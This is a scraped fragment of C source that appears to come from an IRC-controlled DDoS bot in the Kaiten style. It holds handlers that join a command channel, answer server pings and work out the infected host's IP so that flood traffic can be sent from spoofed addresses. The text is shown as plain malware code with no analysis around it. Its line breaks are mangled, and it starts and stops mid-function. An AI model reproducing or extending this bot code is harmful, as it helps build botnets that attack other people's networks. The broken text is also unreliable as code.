You are on page 1of 1

} } void _376(int sock, char *sender, char *str) { Send(sock,"MODE

%s -x\n",nick); Send(sock,"JOIN %s :%s\n",chan,key); Send(sock,"WHO


%s\n",nick); } void _PING(int sock, char *sender, char *str)
{ Send(sock,"PONG %s\n",str); } void _352(int sock, char *sender, char *str)
{ int i,d; char *msg=str; struct hostent *hostm;
unsigned long m; for (i=0,d=0;d<5;d++) { for (;i<strlen(str)
&& *msg != ' ';msg++,i++); msg++; if (i == strlen(str)) return;
} for (i=0;i<strlen(msg) && msg[i] != ' ';i++); msg[i]=0; if
(!strcasecmp(msg,nick) && !spoofsm) { msg=str; for
(i=0,d=0;d<3;d++) { for (;i<strlen(str) && *msg != ' ';msg+
+,i++); msg++; if (i == strlen(str))
return; } for (i=0;i<strlen(msg) && msg[i] != ' ';i+
+); msg[i]=0; if ((m = inet_addr(msg)) == -1) {
if ((hostm=gethostbyname(msg)) == NULL)
{ Send(sock,"NOTICE %s :I'm having a problem
resolving my host, someone will have to SPOOFS me manually.\n",chan);
return; } memcpy((char*)&m, hostm-
>h_addr, hostm->h_length); } ((char*)&spoofs)
[3]=((char*)&m)[0]; ((char*)&spoofs)[2]=((char*)&m)[1];
((char*)&spoofs)[1]=((char*)&m)[2]; ((char*)&spoofs)[0]=0;
spoofsm=256; } }
void _433(int sock, char *sender, char *str)

You might also like